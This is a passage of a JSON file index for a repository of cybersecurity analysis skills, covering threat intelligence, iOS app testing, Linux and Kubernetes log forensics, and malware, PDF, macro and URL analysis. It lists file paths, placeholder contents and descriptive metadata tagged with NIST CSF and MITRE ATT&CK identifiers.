emails, security alerts, or external threat feeds; enriching raw IOCs with multi-source intelligence; or making block/monitor/whitelist decisions. Activates for requests involving VirusTotal, AbuseIPDB, MalwareBazaar, MISP, or IOC enrichment pipelines.\n","domain":"cybersecurity","subdomain":"threat-intelligence","tags":["IOC","VirusTotal","AbuseIPDB","MalwareBazaar","MISP","threat-intelligence","STIX","NIST-CSF"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","atlas_techniques":["AML.T0052"],"nist_csf":["ID.RA-01","ID.RA-05","DE.CM-01","DE.AE-02"],"mitre_attack":["T1071","T1105","T1041","T1567"],"mitre_f3":{"version":"1.1","tactics":["reconnaissance","resource-development","initial-access"],"techniques":[{"id":"T1598","name":"Phishing for Information","tactic":"reconnaissance","source":"attack"},{"id":"T1660","name":"Phishing","tactic":"initial-access","source":"attack"},{"id":"T1583.001","name":"Acquire Infrastructure: Domains","tactic":"resource-development","source":"attack"},{"id":"F1020.002","name":"Create Fake Materials: Fake Website","tactic":"resource-development","source":"f3"}]}},"isInternal":false,"tokens":1872,"sizeBytes":7769},{"name":"template.md","path":"skills/analyzing-ios-app-security-with-objection/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-ios-app-security-with-objection/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-ios-app-security-with-objection%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":614,"sizeBytes":2144},{"name":"api-reference.md","path":"skills/analyzing-ios-app-security-with-objection/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-ios-app-security-with-objection/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-ios-app-security-with-objection%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":806,"sizeBytes":3514},{"name":"standards.md","path":"skills/analyzing-ios-app-security-with-objection/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-ios-app-security-with-objection/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-ios-app-security-with-objection%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":601,"sizeBytes":2704},{"name":"workflows.md","path":"skills/analyzing-ios-app-security-with-objection/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-ios-app-security-with-objection/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-ios-app-security-with-objection%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":608,"sizeBytes":4205},{"name":"SKILL.md","path":"skills/analyzing-ios-app-security-with-objection/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-ios-app-security-with-objection/SKILL.md","title":"analyzing-ios-app-security-with-objection","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-ios-app-security-with-objection%2FSKILL.md -->","frontmatter":{"name":"analyzing-ios-app-security-with-objection","description":"Runtime iOS app security testing with Objection (Frida): inspect keychain and filesystem data, explore app internals at runtime, and validate/bypass client-side protections during authorized mobile assessments.","domain":"cybersecurity","subdomain":"mobile-security","author":"mahipal","tags":["mobile-security","ios","objection","frida","owasp-mobile","penetration-testing"],"version":"1.0.0","license":"Apache-2.0","atlas_techniques":["AML.T0054"],"nist_ai_rmf":["MEASURE-2.7","MANAGE-2.4","GOVERN-6.2","MAP-5.1"],"nist_csf":["PR.PS-01","PR.AA-05","ID.RA-01","DE.CM-09"],"mitre_attack":["T1635","T1414","T1417.001","T1409"]},"isInternal":false,"tokens":1522,"sizeBytes":6512},{"name":"api-reference.md","path":"skills/analyzing-kubernetes-audit-logs/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-kubernetes-audit-logs/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-kubernetes-audit-logs%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":443,"sizeBytes":1620},{"name":"SKILL.md","path":"skills/analyzing-kubernetes-audit-logs/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-kubernetes-audit-logs/SKILL.md","title":"analyzing-kubernetes-audit-logs","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-kubernetes-audit-logs%2FSKILL.md -->","frontmatter":{"name":"analyzing-kubernetes-audit-logs","description":"Parses Kubernetes API server audit logs (JSON lines) to detect exec-into-pod, secret access, RBAC modifications, privileged pod creation, and anonymous API access, and builds SIEM detection rules from the event patterns. Use when investigating a suspected cluster compromise, reconstructing what an attacker did through the API server, or writing Kubernetes-specific detection content. Keywords: audit policy, audit log, kube-apiserver, exec into pod, RBAC change, anonymous access, detection rules. Do not use for syscall-level detection inside a running container - use detecting-container-runtime-threats-with-falco.\n'","domain":"cybersecurity","subdomain":"container-security","tags":["kubernetes-security","container-security","audit-log-analysis","rbac","privilege-escalation","k8s-api-server","threat-detection"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","PR.IR-01","ID.AM-08","DE.CM-01"],"mitre_attack":["T1610","T1613","T1078","T1552.007"]},"isInternal":false,"tokens":619,"sizeBytes":2615},{"name":"api-reference.md","path":"skills/analyzing-linux-audit-logs-for-intrusion/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-linux-audit-logs-for-intrusion/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-linux-audit-logs-for-intrusion%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":552,"sizeBytes":1911},{"name":"SKILL.md","path":"skills/analyzing-linux-audit-logs-for-intrusion/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-linux-audit-logs-for-intrusion/SKILL.md","title":"analyzing-linux-audit-logs-for-intrusion","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-linux-audit-logs-for-intrusion%2FSKILL.md -->","frontmatter":{"name":"analyzing-linux-audit-logs-for-intrusion","description":"Uses the Linux Audit framework (auditd) with ausearch and aureport utilities to detect intrusion attempts, unauthorized access, privilege escalation, and suspicious system activity. Covers audit rule configuration, log querying, timeline reconstruction, and integration with SIEM platforms. Activates for requests involving auditd analysis, Linux audit log investigation, ausearch queries, aureport summaries, or host-based intrusion detection on Linux.\n","domain":"cybersecurity","subdomain":"incident-response","tags":["auditd","ausearch","aureport","linux-security","intrusion-detection","HIDS","forensics"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.MA-01","RS.MA-02","RS.AN-03","RC.RP-01"],"mitre_attack":["T1059.004","T1070","T1548.003","T1543.002"]},"isInternal":false,"tokens":2652,"sizeBytes":9790},{"name":"api-reference.md","path":"skills/analyzing-linux-elf-malware/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-linux-elf-malware/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-linux-elf-malware%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":876,"sizeBytes":3126},{"name":"SKILL.md","path":"skills/analyzing-linux-elf-malware/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-linux-elf-malware/SKILL.md","title":"analyzing-linux-elf-malware","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-linux-elf-malware%2FSKILL.md -->","frontmatter":{"name":"analyzing-linux-elf-malware","description":"Analyze malicious Linux ELF binaries — botnets, cryptominers, ransomware, and rootkits targeting Linux servers, containers, and cloud infrastructure — through static analysis, dynamic tracing, and reverse engineering of x86_64 and ARM samples. Use when investigating Linux malware, triaging a suspicious ELF binary, assessing a compromised Linux server, or analyzing container-targeted malware.\n","domain":"cybersecurity","subdomain":"malware-analysis","tags":["malware","Linux","ELF","reverse-engineering","server-malware"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.AE-02","RS.AN-03","ID.RA-01","DE.CM-01"],"mitre_attack":["T1027","T1059.004","T1620","T1574.006"],"mitre_f3":{"version":"1.1","tactics":["positioning","monetization","reconnaissance"],"techniques":[{"id":"T1219","name":"Remote Access Tools","tactic":"positioning","source":"attack"},{"id":"T1555","name":"Credentials from Password Stores","tactic":"reconnaissance","source":"attack"},{"id":"F1018","name":"Convert to Cryptocurrency","tactic":"monetization","source":"f3"},{"id":"F1047","name":"Transfer of funds","tactic":"monetization","source":"f3"}]}},"isInternal":false,"tokens":3183,"sizeBytes":12537},{"name":"api-reference.md","path":"skills/analyzing-linux-kernel-rootkits/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-linux-kernel-rootkits/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-linux-kernel-rootkits%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":727,"sizeBytes":2592},{"name":"SKILL.md","path":"skills/analyzing-linux-kernel-rootkits/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-linux-kernel-rootkits/SKILL.md","title":"analyzing-linux-kernel-rootkits","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-linux-kernel-rootkits%2FSKILL.md -->","frontmatter":{"name":"analyzing-linux-kernel-rootkits","description":"Detect kernel-level rootkits in Linux memory dumps using Volatility3 linux plugins (check_syscall, lsmod, hidden_modules), rkhunter system scanning, and /proc vs /sys discrepancy analysis to identify hooked syscalls, hidden kernel modules, and tampered system structures.","domain":"cybersecurity","subdomain":"digital-forensics","tags":["rootkit","linux","kernel","volatility3","memory-forensics","malware-analysis","rkhunter","forensics"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.AN-03","DE.AE-02","RS.MA-01"],"mitre_attack":["T1014","T1547.006","T1564.001"]},"isInternal":false,"tokens":1480,"sizeBytes":5941},{"name":"api-reference.md","path":"skills/analyzing-linux-system-artifacts/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-linux-system-artifacts/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-linux-system-artifacts%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":921,"sizeBytes":3491},{"name":"SKILL.md","path":"skills/analyzing-linux-system-artifacts/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-linux-system-artifacts/SKILL.md","title":"analyzing-linux-system-artifacts","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-linux-system-artifacts%2FSKILL.md -->","frontmatter":{"name":"analyzing-linux-system-artifacts","description":"Examine Linux system artifacts (auth logs, cron/systemd persistence, shell history, SSH keys, and system configuration) to uncover evidence of compromise, detect rootkits or backdoors, and reconstruct user/attacker activity. Use when investigating a compromised Linux server or workstation, hunting for persistence mechanisms, or scoping a Linux-based breach during incident response.","domain":"cybersecurity","subdomain":"digital-forensics","tags":["forensics","linux-forensics","system-artifacts","log-analysis","persistence-detection","incident-investigation"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.AN-03","DE.AE-02","RS.MA-01"],"mitre_attack":["T1070","T1059.004","T1543.002","T1053.003"]},"isInternal":false,"tokens":4111,"sizeBytes":14934},{"name":"template.md","path":"skills/analyzing-lnk-file-and-jump-list-artifacts/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-lnk-file-and-jump-list-artifacts/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-lnk-file-and-jump-list-artifacts%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":168,"sizeBytes":759},{"name":"api-reference.md","path":"skills/analyzing-lnk-file-and-jump-list-artifacts/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-lnk-file-and-jump-list-artifacts/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-lnk-file-and-jump-list-artifacts%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":928,"sizeBytes":3247},{"name":"standards.md","path":"skills/analyzing-lnk-file-and-jump-list-artifacts/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-lnk-file-and-jump-list-artifacts/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-lnk-file-and-jump-list-artifacts%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":226,"sizeBytes":852},{"name":"workflows.md","path":"skills/analyzing-lnk-file-and-jump-list-artifacts/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-lnk-file-and-jump-list-artifacts/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-lnk-file-and-jump-list-artifacts%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":222,"sizeBytes":952},{"name":"SKILL.md","path":"skills/analyzing-lnk-file-and-jump-list-artifacts/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-lnk-file-and-jump-list-artifacts/SKILL.md","title":"analyzing-lnk-file-and-jump-list-artifacts","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-lnk-file-and-jump-list-artifacts%2FSKILL.md -->","frontmatter":{"name":"analyzing-lnk-file-and-jump-list-artifacts","description":"Analyze Windows LNK shortcut files and Jump List artifacts with LECmd, JLECmd, and manual Shell Link Binary Format parsing to establish evidence of file access, program execution, and user activity that persists even after the target file is deleted. Use when investigating Windows user activity, reconstructing file-access or program-execution timelines, or examining recent/frequently-used file evidence in a forensic exam.","domain":"cybersecurity","subdomain":"digital-forensics","tags":["lnk-files","jump-lists","lecmd","jlecmd","windows-forensics","shell-link","user-activity","file-access","program-execution","recent-files"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.AN-03","DE.AE-02","RS.MA-01"],"mitre_attack":["T1547.009","T1204.002","T1059.001"]},"isInternal":false,"tokens":3200,"sizeBytes":11299},{"name":"api-reference.md","path":"skills/analyzing-macro-malware-in-office-documents/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-macro-malware-in-office-documents/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-macro-malware-in-office-documents%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":817,"sizeBytes":2985},{"name":"SKILL.md","path":"skills/analyzing-macro-malware-in-office-documents/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-macro-malware-in-office-documents/SKILL.md","title":"analyzing-macro-malware-in-office-documents","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-macro-malware-in-office-documents%2FSKILL.md -->","frontmatter":{"name":"analyzing-macro-malware-in-office-documents","description":"Analyzes malicious VBA macros embedded in Microsoft Office documents (Word, Excel, PowerPoint) to identify download cradles, payload execution, persistence mechanisms, and anti-analysis techniques. Uses olevba, oledump, and VBA deobfuscation to extract the attack chain. Activates for requests involving Office macro analysis, VBA malware investigation, maldoc analysis, or document-based threat examination.\n","domain":"cybersecurity","subdomain":"malware-analysis","tags":["malware","macro","Office","VBA","document-malware"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","atlas_techniques":["AML.T0068","AML.T0067"],"d3fend_techniques":["File Metadata Consistency Validation","Application Protocol Command Analysis","Identifier Analysis","Content Format Conversion","Message Analysis"],"nist_csf":["DE.AE-02","RS.AN-03","ID.RA-01","DE.CM-01"],"mitre_attack":["T1137.001","T1204.002","T1059.005","T1027"]},"isInternal":false,"tokens":3125,"sizeBytes":12181},{"name":"api-reference.md","path":"skills/analyzing-malicious-pdf-with-peepdf/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-malicious-pdf-with-peepdf/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-malicious-pdf-with-peepdf%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":885,"sizeBytes":3318},{"name":"SKILL.md","path":"skills/analyzing-malicious-pdf-with-peepdf/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-malicious-pdf-with-peepdf/SKILL.md","title":"analyzing-malicious-pdf-with-peepdf","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-malicious-pdf-with-peepdf%2FSKILL.md -->","frontmatter":{"name":"analyzing-malicious-pdf-with-peepdf","description":"Perform static analysis of malicious PDF documents using peepdf, pdfid, and pdf-parser to extract embedded JavaScript, shellcode, and suspicious objects. Use when triaging a suspicious PDF attachment from a phishing email, analyzing a PDF-based exploit document, or building detection signatures for weaponized PDF threats.","domain":"cybersecurity","subdomain":"malware-analysis","tags":["malware-analysis","pdf","peepdf","pdfid","pdf-parser","static-analysis","reverse-engineering","dfir"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.AE-02","RS.AN-03","ID.RA-01","DE.CM-01"],"mitre_attack":["T1204.002","T1059.007","T1027","T1106"]},"isInternal":false,"tokens":784,"sizeBytes":3196},{"name":"template.md","path":"skills/analyzing-malicious-url-with-urlscan/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-malicious-url-with-urlscan/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-malicious-url-with-urlscan%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":492,"sizeBytes":1628},{"name":"api-reference.md","path":"skills/analyzing-malicious-url-with-urlscan/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-malicious-url-with-urlscan/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-malicious-url-with-urlscan%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":434,"sizeBytes":1514},{"name":"standards.md","path":"skills/analyzing-malicious-url-with-urlscan/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-malicious-url-with-urlscan/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-malicious-url-with-urlscan%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":489,"sizeBytes":1822},{"name":"workflows.md","path":"skills/analyzing-malicious-url-with-urlscan/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-malicious-url-with-urlscan/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-malicious-url-with-urlscan%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":662,"sizeBytes":2380},{"name":"SKILL.md","path":"skills/analyzing-malicious-url-with-urlscan/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-malicious-url-with-urlscan/SKILL.md","title":"analyzing-malicious-url-with-urlscan","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-malicious-url-with-urlscan%2FSKILL.md -->","frontmatter":{"name":"analyzing-malicious-url-with-urlscan","description":"URLScan.io is a free service for scanning and analyzing suspicious URLs. It captures screenshots, DOM content, HTTP transactions, JavaScript behavior, and network connections of web pages in an isolat","domain":"cybersecurity","subdomain":"phishing-defense","tags":["phishing","email-security","social-engineering","dmarc","awareness","url-analysis","threat-intelligence"],"version":"1.0","author":"mahipal","license":"Apache-2.0","atlas_techniques":["AML.T0052"],"nist_csf":["PR.AT-01","DE.CM-09","RS.CO-02","DE.AE-02"],"mitre_attack":["T1566.002","T1204.001","T1598.003"]},"isInternal":false,"tokens":942,"sizeBytes":4054},{"name":"api-reference.md","path":"skills/analyzing-malware-behavior-with-cuckoo-sandbox/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-malware-behavior-with-cuckoo-sandbox/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-malware-behavior-with-cuckoo-sandbox%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":796,"sizeBytes":2664},{"name":"SKILL.md","path":"skills/analyzing-malware-behavior-with-cuckoo-sandbox/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-malware-behavior-with-cuckoo-sandbox/SKILL.md","title":"analyzing-malware-behavior-with-cuckoo-sandbox","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-malware-behavior-with-cuckoo-sandbox%2FSKILL.md -->","frontmatter":{"name":"analyzing-malware-behavior-with-cuckoo-sandbox","description":"Detonate malware samples in Cuckoo Sandbox to observe runtime behavior — process creation, file system and registry changes, network communications, and API calls — and generate behavioral reports for classification and IOC extraction. Use when a sample has passed static triage and needs dynamic/behavioral analysis, when mapping a full infection chain, or when building YARA/behavioral signatures from observed sandbox activity.\n","domain":"cybersecurity","subdomain":"malware-analysis","tags":["malware","dynamic-analysis","sandbox","Cuckoo","behavioral-analysis"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.AE-02","RS.AN-03","ID.RA-01","DE.CM-01"],"mitre_attack":["T1497","T1055","T1071","T1027"]},"isInternal":false,"tokens":2897,"sizeBytes":11678},{"name":"api-reference.md","path":"skills/analyzing-malware-family-relationships-with-malpedia/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-malware-family-relationships-with-malpedia/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-malware-family-relationships-with-malpedia%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":383,"sizeBytes":1449},{"name":"SKILL.md","path":"skills/analyzing-malware-family-relationships-with-malpedia/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-malware-family-relationships-with-malpedia/SKILL.md","title":"analyzing-malware-family-relationships-with-malpedia","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-malware-family-relationships-with-malpedia%2FSKILL.md -->","frontmatter":{"name":"analyzing-malware-family-relationships-with-malpedia","description":"Query the Malpedia API to look up malware family aliases and naming (platform.family_name), pull community/vendor YARA rules, link families to threat actors, and map family relationships such as loader-payload chains and shared authorship. Use when researching a malware family's aliases, lineage, or actor attribution, or when sourcing YARA rules for detection.","domain":"cybersecurity","subdomain":"threat-intelligence","tags":["malpedia","malware-family","yara","threat-actor","malware-tracking","threat-intelligence","variant-analysis","malware-intelligence"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-05","DE.CM-01","DE.AE-02"],"mitre_attack":["T1587.001","T1027","T1071"]},"isInternal":false,"tokens":2714,"sizeBytes":11863},{"name":"template.md","path":"skills/analyzing-malware-persistence-with-autoruns/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-malware-persistence-with-autoruns/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-malware-persistence-with-autoruns%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":114,"sizeBytes":424},{"name":"api-reference.md","path":"skills/analyzing-malware-persistence-with-autoruns/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-malware-persistence-with-autoruns/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-malware-persistence-with-autoruns%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":469,"sizeBytes":1835},{"name":"standards.md","path":"skills/analyzing-malware-persistence-with-autoruns/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-malware-persistence-with-autoruns/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-malware-persistence-with-autoruns%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":77,"sizeBytes":312},{"name":"workflows.md","path":"skills/analyzing-malware-persistence-with-autoruns/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-malware-persistence-with-autoruns/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-malware-persistence-with-autoruns%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":64,"sizeBytes":471},{"name":"SKILL.md","path":"skills/analyzing-malware-persistence-with-autoruns/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-malware-persistence-with-autoruns/SKILL.md","title":"analyzing-malware-persistence-with-autoruns","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-malware-persistence-with-autoruns%2FSKILL.md -->","frontmatter":{"name":"analyzing-malware-persistence-with-autoruns","description":"Use 